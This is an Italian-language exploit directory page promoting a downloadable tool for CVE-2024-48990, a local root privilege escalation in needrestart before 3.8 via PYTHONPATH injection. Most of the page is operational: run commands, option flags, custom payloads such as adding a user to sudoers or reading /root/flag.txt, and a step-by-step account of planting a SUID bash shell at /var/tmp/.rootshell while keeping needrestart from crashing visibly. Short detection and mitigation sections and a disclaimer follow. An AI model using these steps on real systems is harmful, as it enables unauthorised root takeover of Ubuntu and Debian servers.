Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-48990 — needrestart < 3.8 Escalation dei privilegi locale tramite iniezione di PYTHONPATH | Kitploit
Strumenti/GitHubGitHub/blueberryp1ll/cve-2024-48990
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingRed Teaming
GitHubblueberryp1ll/cve-2024-48990

CVE-2024-48990

needrestart < 3.8 Escalation dei privilegi locale tramite iniezione di PYTHONPATH

Vedi Repository
116 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-48990 — Escalation dei privilegi locale con needrestart

Exploit di escalation dei privilegi locale che bersaglia needrestart < 3.8 su sistemi Ubuntu/Debian tramite iniezione di PYTHONPATH.

Panoramica

needrestart è un'utility comunemente installata sui server Ubuntu/Debian che controlla quali servizi devono essere riavviati dopo gli aggiornamenti delle librerie. Viene eseguita come root e viene tipicamente attivata automaticamente dopo le operazioni di apt o invocata direttamente tramite sudo.

Quando controlla i processi Python, needrestart reinvoca l'interprete Python ereditando l'intero ambiente del processo da /proc/<pid>/environ, inclusa PYTHONPATH. Un utente locale non privilegiato può sfruttare ciò in questo modo:

  1. Impostando PYTHONPATH su una directory che contiene un pacchetto importlib malevolo
  2. Mantenendo in esecuzione un processo Python in modo che needrestart lo rilevi durante la scansione
  3. Attendendo che needrestart venga eseguito — carica il file importlib/__init__.py dell'attaccante come root

Versioni affette

PacchettoVulnerabileCorretto
needrestart< 3.8>= 3.8

Confermato su:

  • Ubuntu 22.04 LTS (Jammy) — needrestart 3.5-5ubuntu2.4
  • Ubuntu 24.04 LTS (Noble) — needrestart 3.6-7ubuntu4

Utilizzo

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Quindi attiva needrestart da un altro terminale:

root@kitploit:~
# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart

# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils

Una volta attivato needrestart, l'exploit crea una shell SUID in /var/tmp/.rootshell e ti rilascia automaticamente in una shell di root.

Se l'esecuzione automatica non funziona, prendi la shell manualmente:

root@kitploit:~
/var/tmp/.rootshell -p

Options

root@kitploit:~
Usage: ./exploit.sh [OPTIONS]

Options:
  -c <command>    Custom shell command to run as root (default: copy suid shell)
  -w <seconds>    Max wait time in seconds (default: 300)
  -t              Trigger mode: attempt to trigger needrestart via apt
  -n              No cleanup: keep payload directory after exploitation
  -h              Show this help message

Examples

root@kitploit:~
# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh

# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t

# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'

# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'

# Extended wait (10 minutes)
./exploit.sh -w 600

Come funziona

root@kitploit:~
┌───────────────────────────────────────────────────────────────┐
│  1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload  │
│     that runs os.system() to copy /bin/bash as SUID binary    │
├───────────────────────────────────────────────────────────────┤
│  2. Spawns a long-running Python process with                 │
│     PYTHONPATH=/tmp/.nr_XXXX exported in its environment      │
├───────────────────────────────────────────────────────────────┤
│  3. needrestart runs (via sudo or apt hook), scans            │
│     /proc/*/environ, finds the Python process                 │
├───────────────────────────────────────────────────────────────┤
│  4. needrestart re-invokes python3 AS ROOT inheriting the     │
│     attacker's PYTHONPATH → loads malicious importlib          │
├───────────────────────────────────────────────────────────────┤
│  5. Payload executes as root: cp /bin/bash + chmod 4755       │
│     → attacker runs /var/tmp/.rootshell -p → root shell       │
└───────────────────────────────────────────────────────────────┘

Note

  • La shell SUID viene posizionata in /var/tmp/ anziché in /tmp/ perché /tmp è comunemente montato con nosuid, che rimuove silenziosamente il bit SUID.
  • Il file importlib/__init__.py malevolo ripristina il vero importlib dopo l'esecuzione del payload pulendo sys.path e sys.modules, in modo che needrestart non vada in crash visibilmente.
  • Il processo Python esca esegue un file .py vero e proprio (non un one‑liner -c) per una migliore compatibilità con la scansione dell'interprete di needrestart.

Rilevamento

Indicatori che questo exploit è stato usato:

  • Binari SUID inaspettati in /var/tmp/ o /tmp/
  • Processi Python in esecuzione con valori insoliti di PYTHONPATH che puntano a directory temporanee
  • Directory corrispondenti a /tmp/.nr_* contenenti una sottodirectory importlib/

Mitigazione

root@kitploit:~
# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart

# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf

Riferimenti

  • CVE-2024-48990
  • Avviso Qualys — LPE di needrestart
  • Avviso di sicurezza Ubuntu USN-7117-1

Dichiarazione di non responsabilità

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Usalo solo su sistemi di tua proprietà o per i quali hai esplicito permesso scritto per il test. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.

Licenza

MIT

Scarica lo strumento